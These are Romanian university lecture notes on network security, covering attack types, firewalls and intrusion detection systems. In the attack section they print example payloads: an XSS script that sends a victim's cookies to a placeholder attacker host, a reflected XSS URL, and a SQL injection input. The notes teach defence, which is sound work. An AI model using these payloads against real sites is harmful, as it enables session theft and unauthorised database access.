Sunteți pe pagina 1din 112

UNIVERSITATEA POLITEHNICA BUCURESTI

FACULTATEA ELECTRONICA, TELECOMUNICATII SI TEHNOLOGIA


INFORMATIEI

Curs

Securitatea Informatiei si a Retelelor


de Calculatoare
(-online version-)

Radu Lupu

-Iunie 2020-
1
Contents
1. Notiuni de management al securitatii informatiei (INFOSEC) ...................................................... 4
Vulnerabilitatea de proiectare: “stack overflow” ................................................................... 4
Principalele obiective ale atacurilor ....................................................................................... 5
Atacuri in Internet.Categorii si exemple ................................................................................ 6
Elemente program(agenti) de atac ......................................................................................... 9
Tratarea riscurilor de securitate ........................................................................................... 10
2. Sisteme si tehnici de securitate pentru reteaua Internet................................................................ 11
2.1 Sistemul Firewall....................................................................................................... 11
Mod general de operare. Politica de filtrare..................................................................... 12
Principalele elemente de tip firewall................................................................................ 13
Configuratii de sisteme firewall ....................................................................................... 14
2.2 Sistemul pentru detectia intruziunilor (IDS) ............................................................. 15
2.2.1 Arhitectura generala IDS ........................................................................................ 16
2.2.2 Clasificare ............................................................................................................... 17
2.2.3 Tehnici IDS de detectie ........................................................................................... 19
2.3 Sistemul de prevenire a intruziunilor (IPS) ................................................................... 21
2.4. Tehnici, mecanisme si sisteme anti-(D)DoS ............................................................. 21
2.4.1 Metoda pentru identificarea atacatorului pe baza tehnicii de “traceback” ............. 21
2.4.2 Schema D-WARD [~Mirkovic] .............................................................................. 22
2.4.3 Secure Overlay Services -SOS [~Keromytis et al.] ................................................ 22
2.4.4 Proof of Work ......................................................................................................... 22
2.4.5 DefCOM [~Mirkovic et al.] .................................................................................... 23
2.5. Tehnici anti-SPAM email.......................................................................................... 24
2.5.1. Tehnici de filtrare pe baza identificatorului sursei ................................................ 24
2.5.2 Tehnici de filtrare distribuita pe baza sumei de verificare (DCF-Distributed
Checksum Filtering)......................................................................................................... 28
2.5.3. Tehnici de filtrare pe baza interpretarii continutului mesajului ............................. 29
3. Servicii generice de securitate pentru retelele TCP/IP................................................................. 29
3.1 Protocolul IPSec ........................................................................................................ 29
3.1.1 Protocolul AH .................................................................................................... 33
3.1.2 Protocolul ESP ................................................................................................... 34
3.1.3 Protocolul IKEv2[RFC7296] ............................................................................. 35
3.2 Protocolul TLS (Tranport Layer Security) .................................................................... 37
3.2.1 Arhitectura TLS ...................................................................................................... 37
3.2.2 Protocolul TLS Record ........................................................................................... 38
3.2.3. Protocolul TLS Handshake ................................................................................ 40
4. Modele de arhitecturi de securitate pentru retea ....................................................................... 46
4.1. Modelul pt. securizarea comunicatiilor intre corespondenti (principali) .................. 46
4.2. Modelul pentru controlul accesului la o resursa de retea .......................................... 48
4.3 Arhitectura IEEE 802.1x pentru controlul accesului bazat pe port ............................... 49
4.4 Arhitectura generica AAA [RFC2903] .......................................................................... 50
4.4.1 Protocolul RADIUS[RFC2865] [RFC2866]........................................................... 52
5. Securitatea retelelor de acces radio ............................................................................................ 56
5.1 Servicii de securitate GSM ............................................................................................ 56
5.1.1 Autentificarea abonatului si stabilirea cheilor de sesiune ....................................... 57
5.1.2 Confidentialitatea identitatii abonatului ............................................................. 59

2
5.2 Servicii de securitate WLAN ......................................................................................... 62
5.2.1 Servicii de baza 802.11. Sistemul criptografic WEP (Wired Equivalent Privacy) . 62
5.2.2 Solutia interimara WPA .......................................................................................... 66
5.2.3 Amendamentul IEEE 802.11i (WPA2)................................................................... 70
6.Bibliografie & Referinte Web(Incompleta) ........................................................................................ 82
7. Acronime ...................................................................................................................................... 83
Anexa A: Elemente de criptografie. Protocoale criptografice .............................................................. 86
Arhitectura generala a unui sistem criptografic cu chei....................................................... 86
Moduri de operare[FIPS-81, 74], [SP800-38a].................................................................... 87
Cifrul sir ............................................................................................................................... 90
Cifrul bloc determinist ......................................................................................................... 91
Cifruri clasice =primitive criptografice ........................................................................... 92
Algoritmi asimetrici ............................................................................................................. 93
Algoritmul RSA (Rivest, Shamir, Adleman, 1977) [PKCS#1] ....................................... 94
Algoritmi criptografici pe curbe eliptice.......................................................................... 94
Functii hash .......................................................................................................................... 95
Integritatea datelor si autentificarea mesajelor/tranzactiilor ............................................ 96
Semnatura digitala. Schema de semnare .............................................................................. 97
Protocoale criptografice pentru autentificarea entitatilor si stabilirea cheilor ..................... 98
Protocolul Diffie-Hellman ............................................................................................. 105
Managementul cheilor publice ........................................................................................... 106
Anexa B: lista partiala a alarmelor TLS Record ................................................................................... 111
Anexa C: semnificatia codurilor CipherSuite-lor TLS........................................................................... 112

3
1. Notiuni de management al securitatii informatiei (INFOSEC)

Exercitiu
Dati exemple de resurse IT care pot fi tinte ale unor amenintari.

Intrebare.
Care este diferenta dintre urmatoarele doua notiuni: amenintare si atac. Care este scopul
standardului RFC4949 ?

Exercitiu.
Dati 5 exemple de amenintari cibernetice si cel putin cate 2 atacuri pentru fiecare amenintare.

Exercitiu.
Dati exemple de vulnerabilitati din fiecare categorie (proiectare, implementare, configurare,
management).

Vulnerabilitatea de proiectare: “stack overflow”

Exercitiu.
Precizati alta vulnerabilitate din aceasi categorie ?

Intrebare.
Descrieti pe scurt principiul de functionare al urmatoarelor mecanisme: DEP, ASLR si Stack
Canaries.

4
Principalele obiective ale atacurilor
 Divulgarea informatiilor
 Deceptionarea entitatii
 Perturbarea resurselor
 Uzurparea resurselor

Fazele unui atac


1. Colectarea de informatii despre tinta
- diverse unelte de management si analiza de retea, inginerie sociala, etc.
2. Determinarea vulnerabilitatilor tintei si/sau resurselor adiacente
- scanere de vulnerabilitati: Metasploit, OpenVAS, Nessus, Qualys, Rapid7, w3af,
etc.
- baze de date online CVS, CWS, VirusList, Bugtraq, etc.
3. Atacul propriu-zis
- automat (via virusi, troian, worm, …) sau semiautomat (via botnet, scripturi,
exploit-uri)
- in aproape toate cazurile identitatea reala a atacatorului este ascunsa
4. ascunderea dovezilor atacului
- fata de analiza de tip forensics

5
Nota: de cele mai multe ori va fi realizat un atac combinat, ceea ce presupune o succesiune
de mai multe atacuri elementare asupra mai multor entitati tinta.

Atacuri in Internet.Categorii si exemple


 atacurile de preluare de informatii (en. snooping, eavesdropping, sniffing):
desemneaza categoria de atacuri de colectare de informatii direct din interfata de date
de tip API sau de retea la orice nivel OSI.
 atacurile prin scanare: consta in trimiterea de probe catre sistemul tinta si colectarea
de informatii direct din raspunsurile primite; la orice nivel OSI
 atacurile prin analiza de trafic: consta in deducerea de informatii din caracteristicile
observabile ale comunicatiilor, chiar in conditiile in care datele sunt criptate. Se pot
manifesta la orice nivel OSI.
 atacul “IP spoofing” de regula presupune falsificarea adresei sursa IP (spoofing =
falsificare; termenul am mai fost folosit de unii autori cu sens mai general in cazurile de
falsificare a altor campuri din antetul IP).
 atacul “MAC spoofing”: analog ca la atacul precedent dar la nivelul 2 OSI.
 atacurile prin injectie de cod: consta in trasferul de cod executabil prin intermediul
interfetei de intrare de date pentru a fi lansat in executie de catre entitatea tinta. Din
aceasta categorie fac parte si atacurile XSS si “SQL injection” asupra interfetei web:
o atacul XSS (Cross Site Scripting) persistent (Type- I): consta in stocarea
permanenta pe serverul web a codului script malitios (ex. via baza de date,
forum). De ex, furtul unui cookie este posibil odata cu incarcarea unei pagini
care include codul de catre un client victima:
<script>document.write(document.location.href=http://www.mal.ro/getc
ookies.php?nugget=’+escape(document.cookie));</script>

o XSS reflectat nepersistent (a.k.a Type II): un click pe link-ul de mai jos
determina primirea unui raspuns de la serverul web Apache2 de forma: “Not
Found. The requested URL … was not found on this server.”

http://www.mal.ro/<script>alert(“Hello world !”);</script>

o SQL injection
Se pp. ca CGI la server executa pentru a afisa adresa email a contului curent:

6
“SELECT email FROM accounts WHERE username=’ ”.$name.” ’ ”;

Atacatorul va completa campul <input> name astfel incat serverul va executa


urmatoarea comanda:
“SELECT email FROM accounts WHERE username=’nobody’ OR ‘1’ = ‘1’
’”;

 atacurile MITM (a.k.a Janus, Bucket-Brigade)

o atacul “ARP poisoning”: coruperea info din tablele ARP

o atacul “Route poisoning”

o atacul “DNS poisoning”

 atacul “TCP Sequence Number”

Atacul asupra retelei lui T.Shimomura (1994)

7
 Atacurile “phishing”: deceptionarea entitatii tinta prin impersonarea unei entitati de
incredere. Scopul atacatorului este de a fura credentialele entitatii tinta si/sau informatii cu
caracter privat (ex. identificator, parola, informatii ale cardului de credit).
 Atacurile “Denial-of-Service (DoS)”: au ca obiectiv blocarea sau periclitarea performantelor

a) Modelul de atac DoS; b) Modelul de atac DdoS

o atacul “ping of death”


o atacul “smurf”

o atacul “Pepsi” (a.k.a. UDP flood)


o atacul “DNS reflection“
o atacul “TCP SYN Flood”

8
o atacul SPAM: in general, pe serviciile email, VoIP (casuta vocala).

Intrebare.
1. Care este diferenta dintre un atac de preluare de informatii si un atac prin analiza de
trafic. Exemplificati. Incadrati cele doua tipuri de atacuri in una dintre cele doua clase
de atacuri: activ sau pasiv. Propuneti cateva masuri de securitate pentru a preveni aceste
tipuri de atacuri.
2. Propuneti o solutie criptografica si una necriptografica pentru a preveni/combate atacul
“IP spoofing”
3. Propuneti o solutie necriptografica pentru a combate atacul “IP spoofing”
4. Precizati cateva solutii pentru prevenirea atacurilor DoS
5. …

Elemente program(agenti) de atac


Coduri malitioase:
 dependente de un program gazda
 independente

Exercitiu: dati cateva exemple din fiecare categorie

Evolutia complexitatii atacurilor din reteaua Internet [WS08]

9
Exercitiu
Specificati rolul urmatoarelor elemente de atac: scaner, spyware, bomba logica, trapdoor,
backdoor, exploit, bot/zombie, flooder, spamer, troian, cod mobil malitios, virus, worm,
rootkit.

Exercitiu
Mentionati cateva asemanari si deosebiri intre virus si worm, respectiv intre trapdoor si
backdoor.

Tratarea riscurilor de securitate

Masuri de Securitate:
 de management
 operationale
 tehnice (suport, preventive, reactive)

Servicii de securitate
Def: Nivel de securitate: este o caracteristica care arata cat de senzitiva este o resursa, si care
se exprima pe baza unui sistem de clasificare prestabilit (ex. ierahizat: TOP SECRET ...
UNCLASSIFIED).
Def: Taria (unui mecanism de securitate): poate fi cuantificata ca fiind complexitatea celui
mai eficient atac (cunoscut) care poate compromite unul dintre obiectivele sale (invariabil in
timp).
Criterii pentru evaluarea complexitatii atacurilor:
 cantitatea de date de intrare considerate (sau complexitatea de intrare);
 cantitatea de memorie (sau complexitatea de memorare);
 complexitatea operatiilor de procesarea datelor de intrare/memorate;
 volumul de banda de transfer necesar;
 complexitatea metodei de atac (i.e. cunostinte necesare, pregatire teoretica si practica
costisitoare)

Confidentialitatea datelor: este un proces pentru protejarea datelor fata de expunerea lor
unor entitati neautorizate.
Autentificarea entitatii: presupune verificarea identitatii invocate de catre o entitate.
Nota: in general [RFC4949], prin autentificare se intelege un proces de verificare a atributelor invocate de o
resursa.

Anonimitatea entitatii: un proces prin care se asigura ca identitatea reala a entitatii ramane
necunoscuta (fata de corespondent sau fata de un tert).
Protejarea caracterului privat (en. privacy): este un proces prin care se asigura unei entitati
(frecvent persoana) posibilitatea sa determine gradul in care va interactiona cu contextul sau
de operare, inclusiv gradul in care doreste sa partajeze informatii personale cu alte entitati.

10
Autentificarea originii datelor (i.e. pachet/mesaj): un proces de verificare a identitatii
entitatii care este sursa a unor date.
Integritatea datelor: un proces care garanteaza detectarea oricarei modificari neautorizate a
datelor (intentionata sau accidentala).
Autorizarea entitatii: este un proces prin care o entitate primeste niste permisiuni pentru
utilizarea unei resurse (ex. read si/sau send si/sau write).
Controlul accesului [~NIST]: consta in determinarea permisiunilor (actiunilor) asociate
utilizatorilor si medierea actiunilor pentru a preveni utilizarea in mod neautorizat a unei
resurse.
Nerepudiere: acest serviciu ofera protectie fata de falsa negare a implicarii unei entitati intr-o
asociere. In acest scop, acest serviciu colecteaza si stocheaza informatii care sa poate fi
prezentate unui tert ca dovezi intr-o eventuala disputa.
Obs: in COMSEC este posibila: repudierea transmiterii/receptionarii unor date;
Contabilizare (en. accounting): un proces prin care actiunile unei entitati sunt inregistrate si
asociate in mod unic acesteia, astfel incat ulterior va putea fi declarata responsabila in instanta.
Disponibilitate: un proces prin care se asigura ca o resursa este disponibila in orice moment
este solicitata.
Obs: se poate solicita aplicarea combinata a acestor servicii (poate fi f. dificil);

2. Sisteme si tehnici de securitate pentru reteaua Internet


2.1 Sistemul Firewall
Def: conform [RFC4949], un sistem firewall este un gateway de interconectare pentru
controlul accesului comunicatiilor cu scopul de a proteja un segment de retea fata de
amenintarile din celelalte segmente. Tipic, sistemul delimiteaza mai multe domenii de
securitate cu niveluri diferite.

trafic autorizat
Retea Firewall Retea
(NS 1)
NS 1 ≠ NS 2
(NS 2)
trafic blocat trafic blocat

(If NS 1 > NS 2 then NS1 – “retea interioara” /\ NS2 – “retea exterioara”;)

Arhitectura generala de retea cu firewall

Cele mai importante caracteristici:


1. traficul de date cu destinatia sau cu originea in reteaua protejata trebuie sa fie dirijat in
totalitate prin acest tip de sistem;
2. numai traficul autorizat prin politica de securitate firewall este permis sa fie transferat
prin firewall;

11
3. politicile de filtrare pot fi unidirectionale (de la, si catre reteaua interna protejata) si per
interfata de retea;
4. sistemul f/w insusi trebuie sa fie imun la atacuri. Aceasta conditie impune utilizarea unor
tehnologii software si hardware care sa garanteze un nivel de securitate cat mai ridicat

Aplicatii ale sistemului f/w:


 Controlul accesului la servicii: determina serviciile care pot fi accesate din reteaua
protejata si in afara retelei (ex. dupa adresa IP, identificator de protocol sau numar de port);
 Controlul directiei: determina directia in care cererile unui serviciu, pot fi initiate si
acceptate sa traverseze sistemul firewall;
 Controlul utilizatorului: consta in controlul accesului (la un serviciu de retea) per
utilizator si/sau per interval de timp;
 Controlul comportamentului: aceasta tehnica controleaza modul in care sunt utilizate
serviciile de retea protejate (ex. blocheaza com. nesecurizate-POP3/SMTP/Telnet/FTP,
numarul de conexiuni)

Mod general de operare. Politica de filtrare


 controlul pachetelor se face in baza unei politici de securitate de f/w (i.e. politica pentru
controlul de accesului; politica de filtrare);
 de regula, o politica de securitate f/w este specificata sub forma unei liste ordonate de
reguli de filtrare care definesc pentru fiecare pachet actiunea care vor fi efectuata.

Nota: lista de reguli se mai numeste lista ACL (en. Access Control List)

 fiecare regula este structurata in 2 parti: CONDITIE si DIRECTIVA (dupa modelul “if-
then-action”);
 o lista de reguli de filtrare are asociata o regula implicita cu o directiva de tip ACCEPT sau DROP.
 pentru a determina politica corespunzatoare pachetului curent, se verifica secvential conditiile
de filtrare ale fiecarei reguli din lista ACL, pana la prima regula a carei conditie este validata (are
valoarea true); odata cu aplicarea directivei corespunzatoare acestei reguli explorarea listei ACL
se incheie; daca nu este validata nicio conditie, intotdeauna va fi aplicata politica implicita a
listei;

Probleme specifice: deseori listele de reguli pot deveni complexe si pot avea dimensiune mare (cateva
sute sau mii de reguli)=> 1- suprapunerea regulilor (=>reguli “dead”); 2- latenta in comunicatii;
3-management dificil;

Chain INPUT (policy DROP)


target prot opt source destination
DROP any -- anywhere 141.85.43.0/24 any
ACCEPT icmp -- anywhere 141.85.43.10/24 icmp any

Exemplu de reguli suprapuse (ex. iptables/Linux)

12
Principalele elemente de tip firewall
A) Filtrul de pachete (firewall de generatia intai)
 aplica politica de filtrare pe fiecare pachet in mod independent (i.e. independent de stare);
 criterii de filtrare: adresa IP sursa/destinatie, port sursa/destinatie, protocol de transport;
 datorita complexitatii de operare mai reduse, acest tip de firewall poate asigura o intarziere
mai redusa a comunicatiilor;
 opereaza in mod transparent pentru celelalte entitati de retea;
 probleme ale acestui tip de firewall [NIST SP800-41]:
 functia de jurnalizare este limitata la detalii;
 vulnerabilitate la atacuri care au ca tinta stiva TCP/IP;

B) Server proxy de nivel aplicatie (en. Application-Level Gateway) - firewall din generatia a 2-a
 releu de nivel aplicatie, opereaza per pachet;
 decizia este luata pe baza parametrilor de nivel: aplicatie si/sau transport si/sau retea;
 “intelege” modul in care functioneaza o anumita aplicatie si poate filtra operatiile acesteia;
 pot fi colocate mai multe astfel de relee de filtrare fiecare specializat pentru o anumita aplicatie

Arhitectura unui server proxy


 entitatea client se conecteaza la serverul proxy (si specifica serverul de destinatie);
 proxy-ul va stabili apoi o conexiune cu serverul destinatie, din partea clientului;
 rezulta, 2 conexiuni independente, bidirectionale (nu exista o comunicatie directa capat-la-capat);
 pachetele sunt analizate si apoi transferate dintr-o conexiune in cealalta

replay’s fields verified


and copied
copied
reply reply
client proxy proxy server
request server client copied
request
request’s fields verified
and copied

Arhitectura generala a unui sistem firewall proxy de tip ALG sau CLG

 probleme:
 nu opereaza in mod transparent
 ex. server proxy web SQUID/Linux;

C) Server proxy de nivel circuit (en. Circuit-Level Gateway) - firewall de generatia a 2-a
 este releu pentru transferul pachetelor intre doua “circuite” (i.e. conexiuni de nivel transport). Rezulta
ca cel putin unul dintre parametrii de conexiune se modifica. Unde:
Conexiune:= {addr_src, addr_dst, port_src, port_dst, protocol};
 filtrarea se face pe baza parametrilor pachetelor de nivel retea si transport (analog, firewall generatia
intai);
 mai poate fi utilizat pentru:
 a adauga un serviciu de autentificare, aplicatiilor de retea traditionale;
 monitorizare si jurnalizare comunicatii;
 redirectarea comunicatiilor;
 servicii de anonimizare (tarie redusa)

13
 ex. server proxy SOCKSv5 [RFC1928] pe portul 1080/TCP;

D) Filtru de pachete orientat pe stare - firewall de generatia a 3-a


 aplica setul de reguli pe fiecare pachet in functie de contextul de comunicare in care se gaseste
pachetul la un moment dat;
 necesita cunoasterea functionarii protocoalelor de comunicare;
 exploreaza campurile pachetelor si inregistreaza informatiile de stare necesare;
 performante mai ridicate, asocierea informatiilor de stare per flux face ca decizia sa se ia numai pe
baza apartenentei pachetului la flux (de exemplu folosind o functie hash);

 ex. netfilter/Linux, IPFilter/Unix, PIX1010/Cisco;

E) Filtru de pachete multiprotocol dinamic – firewall din generatia a 4-a


 este un firewall din generatia a 3-a in plus cu capacitatea de a opera distribuit si in contextul unor
aplicatii multiprotocol care presupun stabilirea unor canale de comunicare dinamice (VoIP,
VideoConferinta, Messenger, Bittorent, etc)

Configuratii de sisteme firewall


1. Configuratia host-resident
 implementat sub forma unui modul software (frecvent, inclus in distributia SO) ptr.
securizarea entitatii de retea de tip host.
 permite specializarea politicii in functie de tipul activitatilor realizate de entitatea host
(eficienta); poate opera pe sisteme de tip server de retea sau pe terminale (a.k.a. firewall
personal);

2. Configuratii orientate spre retea

Configuratie firewall cu DMZ (en. DeMilitarized Zone)


 caracteristica principala: existenta unui segment de retea (DMZ) cu nivel de securitate intermediar
delimitat de doua sau mai multe elemente de tip firewall ale aceluiasi domeniu administrativ;
 tipic, in DMZ sunt plasate toate serviciile de retea cu acces public (ex. DNS, ftp, web)

Retea interna Retea


niv.sec.2
Retea Screening
router Retea de neincredere
niv.sec.1
(ex. Internet)
DMZ network
segment
Public Server
(niv.sec.3)
(Web, email,
DNS)

Exemplu de configuratie firewall cu DMZ : « Screened subnet in T »

14
2.2 Sistemul pentru detectia intruziunilor (IDS)

Def: conform [RFC4949], prin intruziune de securitate se intelege un eveniment sau un


ansamblu de evenimente/actiuni prin care un atacator a obtinut, sau incearca sa obtina acces
la o resursa in mod neautorizat (in general, orice activitate care violeaza politica de
securitate).

Def: IDS este un sistem care ofera un serviciu de detectie(posibil in timp real) de intruziuni si
de raspuns prin notificare(alerta), prin monitorizarea si analiza evenimentelor care au loc in
sistemul protejat [RFC4949].

Caracteristici
 principiul de functionare: comportamentul unui atacator difera de cel al unui utilizator
legitim, intr-un mod cuantificabil;
 ofera un mijloc pentru determinarea mai rapida a unei intruziuni => contribuie la limitarea
efectelor negative pe care le poate produce o intruziune;
 ca orice alt echipament de retea si sistemul IDS trebuie sa fie protejat. In acest sens, sistemul
IDS trebuie sa fie capabil sa detecteze orice atac in care devine tinta.
 protectie la atacuri interne (ex. abuz in utilizarea resurselor de catre un utilizator legitim);

Evaluarea performantelor functiei de detectie. Parametrii de performanta


-pp. modelul unui clasificator binar cu functie de test (teoria procesarii semnalelor);
-construirea clasificatorului prin “supervised learning” = se pp. un set de date de intrare (ex.
KDD99 network dataset) etichetate (i.e. pt care clasificarea este cunoscuta a priori);

Threshold

#samples specificity sensitivity

TN TP
Classifier’s
Intermediate
output

10 20 30 40 50 60 70 80

FN FP

N.b. prin reglarea valorii Threshold se poate controla parametrul “Sensitivity”, care variaza
invers proportional cu parametrul “Specificity”;
Sample’s
category
Atac Non-atac
Test result

Positive TP FP
(Type I error)

Negative FN TN
(Type II error)

15
Matricea de eroare (aka. confuzie sau tabela de contingenta) pt. un clasificator binar

Sensitivity := True positive


Sensitivity rate (TPR);

(1-Specificity):=False Positive
1 rate(FPR);

1- Specificity 1

Curba ROC(Receiver Operating Characteristic)

Obs: cu cat curba ROC aluneca in sensul sagetii cu atat functia de detectie este mai buna; 0.5
≤ AUC(Area Under Curve) < 1;

1 Sensitivitate(True Positive Rate)


TPR = TP/P = TP/(TP+FN)
2 Specificitate(True Negative Rate)
SPC = TNR = TN/N = TN/(FP+TN)
3 False Positive Rate (en. fall-out)
FPR = FP/N = FP/(FP+TN)= 1 - TNR
4 False Negative Rate
FNR = FN/P = FN/(TP+FN)
5 Acuratetea(≡ non confuzie ≠ precizie)
ACC=(TP+TN)/(P+N)

La care se pot adauga, in cazul unui sistem IDS complet:


6 latenta de detectie: este determinata de complexitatea algoritmilor de detectie => limitare
a analizei in timp real a unor evenimente cu frecventa mare (ex. fluxuri de pachete);
7 identificarea intruziunilor ≔gradul de fidelitate cu care poate fi descrisa o intruziune
dupa ce a fost detectata;

2.2.1 Arhitectura generala IDS


IETF[IDWG] a definit urmatoarele componente generale de arhitectura:
Bloc de tip E (Event-boxes): rol de senzor si colector de informatii pt. celelalte blocuri;
-sunt instalati strategic ptr o imagine completa asupra evenimentelor;
-date de intrare pentru senzor: pachet de date, fisier de jurnalizare sau apeluri de
sistem;
-senzorii pot opera in modul: inline, offline;
-elementele senzor colecteaza info prin intermediul unor switchuri (ex. “port
mirroring”), hub-uri sau conectoare pasive(tap); sau via Netflow, sFlow, etc.

16
Bloc de tip D (Databases boxes): rol de stocare a informatiilor primite de la blocurile de tip E
in vederea unei procesari ulterioare de catre blocurile de tip A si R;
Bloc de tip A (Analysis boxes): au rol in analiza informatiilor colectate cu scopul detectarii
unui comportament malitios. Vor genera alarme atunci cand este detectat un atac.
-primeste informatii de la unul sau mai multi senzori sau chiar de la alte analizoare,
pentru a detecta atunci cand o intruziune se produce.
-iesirea blocului analizor trebuie sa indice atunci cand o intruziune este detectata si
eventual sa includa argumentele in baza carora sustine acest rezultat;
-functia analizorului poate fi colocata cu sistemele senzor (distribuita) pentru a asigura
performante mai ridicate sistemului IDS;

Bloc de tip R (Response boxes): rol in efectuarea unor actiuni de raspuns atunci cand este
detectat un atac cu scopul de a combate sau de a reduce consecintele unui atac.
-intrarea acestui bloc este rezultatul transmis de blocul analizor;
-raspunsul este de tip pasiv: pot fi aplicate urmatoarele strategii, independent, sau in
combinatie:
 jurnalizare: consta in inregistrarea alarmei activate si a conditiilor in care s-a
produs, pentru a facilita ulterior auditul atacului;
 notificare: consta in comunicarea activarii unei alerte si a parametrilor acesteia
direct catre consola unui operator (diverse formate: unified2, IDMEF, syslog,
JSON, etc.);
 ignorare: se aplica atunci cand se cunoaste ca atacul detectat nu prezinta un risc de
securitate pentru tipul de sistem protejat

E-box A-box
Host/Network Environment

A-box

E-box A-box

E-box

D-box R-box

Arhitectura generala CIDF/[IETF]

2.2.2 Clasificare
-in functie de sursa informatiilor monitorizate:

17
1) Sistemul IDS pentru retea (NIDS)
-sursa: pachete de nivel retea, transport si aplicatie, transferate intre entitatile de retea;
-limitari: dificultate in specificarea unor atacuri folosind numai informatii din pachetele
TCP/IP; probleme de scalabilitate;

Retea 3 Retea
FRW. Internet
Servere intern
private 1
FRW.
extern 2

Retea 4
Terminale FRW.
Server pub.
intern
(Web)

Localizarea unui NIDS in reteaua de acces [WS08]

Localizarea “1”: NIDS poate reprezenta a doua linie de aparare, pentru a detecta atacurile din
Internet care strapung sistemul firewall. De asemenea, poate detecta atacurile asupra serverului
public sau cele care au origine in serverul public.

Localizarea “2”: ofera o imagine complet (nefiltrata) asupra atacurilor care au ca tinta reteaua
protejata. In acest caz, NIDS trebuie sa realizeze analiza traficului in timp real la rate ridicate.

Localizarea “3”: pentru detectarea atacurilor cu originea in reteaua interna sau in reteaua
externa, avand ca tinta serviciile retelei protejate. NIDS poate fi specializat pentru o anumita
categorie de intruziuni (creste performantele NIDS).

Localizarea “4”: analog, permite specializarea NIDS la intruziunile care au ca tinta


terminalele, cu avantajul ridicarii performantelor in analiza traficului.

Exemple de implementari: Snort/Linux, Suricata, Bro/Linux, PreludeIDS/Linux,


mod_security/Apache, SecureNet Pro/Windows, NSM, NetSTAT, EMERALD…

2) Sistemul IDS pentru host (HIDS)


-sursa: date jurnalizate de sistemul de operare sau de catre o aplicatie specializata, operatii
locale ale resursei protejate, apeluri de sistem;
-senzorii: locali resursei protejate pentru detectarea intruziunilor care au ca tinta masina locala
dar si alte resurse de retea (ex. operatii neautorizate asupra fisierelor/apeluri de sistem);
- dezavantaje: compromiterea entitatii determina compromiterea rezultatelor HIDS; necesita
implementarea HIDS pe toate entitatile pentru a avea intregul sistem protejat;

-exemple de implementari: Tripwire, Sagan, …

3) Sistemul IDS hibrid


- este o combinatie NIDS+HIDS;
- beneficiaza de o imagine mai completa a evenimentelor intr-un sistem protejat;

18
2.2.3 Tehnici IDS de detectie

A)Detectia anomaliilor de trafic (en. Anomaly Detection IDS=AD-IDS)


- aceasta tehnica este potrivita in detectia atacurilor DoS si de impersonare;
-pp. urmatoarele faze principale:
1. Parametrizare: abstractizarea sistemului (trafic+stari) prin reducere la cei mai
relevanti parametrii (a.k.a “features reduction”);
2. Invatare: poate fi automata prin observarea evenimentelor sau statica si consta in
caracterizarea comportamentului normal si construirea unui model al acestuia;
rezultatul (ex. profilul/amprenta traficului autorizat) este memorat intr-o baza de date
de referinta;
3. Detectie: consta in compararea modelului cu comportamentul observat al sistemului
(parametrizat) si emiterea unei alarme daca diferenta depaseste un prag predefinit (i.e.
anomalie);

Principalele trei tehnici de modelare [2005]: statistica (pp. comportamentul ca un proces


aleatoriu), knowledge-based (comportamentul poate fi definit pe baza cunoasterii arhitecturii
sistemului, a specificatiilor protocoalelor si a topologiei retelei/sistemului), “machine-
learning” (pp. determinarea unor paternuri de comportament ce vor fi apoi clasificate);

B)Detectia bazata pe semnatura (en. Misuse Detection IDS=MD-IDS)


- baza de date de referinta cu specificatiile intruziunilor (care vor putea fi detectate); baza de
date este configurata static;
-blocul analizor IDS monitorizeaza si compara paternul de evenimente cu semnaturile
intruziunilor din baza de date, va activa o alarma atunci cand gaseste o corespondenta;

Obs: frecvent aceasta categorie de sisteme IDS sunt specializate pentru intruziunile care au ca
tinta un anumit tip de resursa:
o aplicatie: pt. protejarea fata de intruziunile care exploateaza vulnerabilitatile aplicatiilor
(ex. web, baze de date DNS);
o fisiere: pt. protejarea fata de modificarea neautorizata a fisierelor unui sistem sau aplicatii
Dezavantaj (idem, firewall): imposibilitatea detectarii unor noi atacuri, latenta de
distribuire a semnaturilor noilor intruziuni (vulnerabilitate “zero-day”). Solutie: este
benefica actualizarea frecventa a bazei de date de semnaturi (eventual automat de la
distanta);

2.2.3.1. Tehnici AD-IDS

Tehnici statistice
-construiesc un profil pt. a reprezenta comportamenutul stochastic al traficului (normal) de
retea (corespunde fazei de invatare);
-parametrii de trafic (metrici, predictori) folositi pt. definirea profilului pot fi: rata
traficului, nr de pachete per protocol, rata stabilirii de conexiuni, nr. de adrese IP diferite,
etc.
-pe de alta parte este construit statistic profilul curent de trafic prin monitorizarea permanenta
a retelei;

19
-pe baza celor doua profiluri este determinat un scor care indica gradul de distantare dintre
ele; daca scorul depaseste o valoare prag prestabilita modulul de detectie emite o alarma;

Tehnici bazate pe cunoastere (en. knowledge-based)


-cel mai cunoscut exemplu este sistemul expert;
-in general, sistemele expert clasifica evenimentele observate in conformitate cu un set de
reguli in 3 pasi:
(1) identificarea atributelor si claselor de evenimente din informatiile de antrenare;
(2) determinarea unui set de reguli de clasificare, parametrii si proceduri;
(3) clasificarea evenimentelor observate.
- o categorie aparte (de sistem expert) este cea a sistemelor bazate pe specificatie; acestea
folosesc un model al comportamentului normal care este definit manual de catre un expert
sub forma unui set de reguli (specificatia sistemului); daca modelul este complet, numarul
de alarme false positive poate fi redus substantial; modelul poate fi construit pe baza unor
tehnici de modelare formale (ex. FSM, N-grammars, UML, LOTOS, SDL);

Tehnici ML
-sunt tehnici “machine-learning” care folosesc un model explicit/implicit pentru clasificarea
paternurilor analizate;
-caracteristica principala: in faza de invatare, pentru construirea modelului de comportament,
este necesar un set de date de antrenament si o capacitate de procesare ridicata;
- spre deosebire de tehnicile statistice, acestea au capacitatea de a isi creste performantele
pe baza rezultatelor anterioare;

Retele Bayesiene
-un model bazat pe relatii probabilistice conditionate dintre parametrii de profil;
-poate incorpora un anumit nivel de cunoastere a priori;
-are capacitatea de a prezice evenimentele;

Modele Markov
-doua variante:
1) lanturi Markov (lant de stari interconectate prin probabilitati de tranzitie)
- probabilitatile sunt determinare in faza de invatare;
- detectia consta in compararea probabilitatilor observate cu valorile estimate ale
probabilitatilor (in faza de invatare);

2) procese Markov ascunse-HMM (este un proces Markov cu stari si tranziti ascunse, numai
realizarile procesului pot fi observate);

-de ex. aceste metode au fost utilizate extensiv in HIDS pt. urmarirea apelurilor de sistem;

Retele neuronale
-metode: retele neuronale recurente, harti cu auto-organizare;
-avantaje: flexibilitate si adaptabilitate la modificarile de context;
-are capacitatea de a prezice evenimentele urmatoare pe baza celor anterioare si de identificare
a actiunilor malitioase;
- dezavantaj: aceste metode nu ofera un model descriptiv care ar putea explica o anumita
decizie de detectie

20
Logica fuzzy
-este un domeniu derivat din teoria multimilor fuzzy;
-este o logica aproximativa, spre deosebire de logica predicativa traditionala;
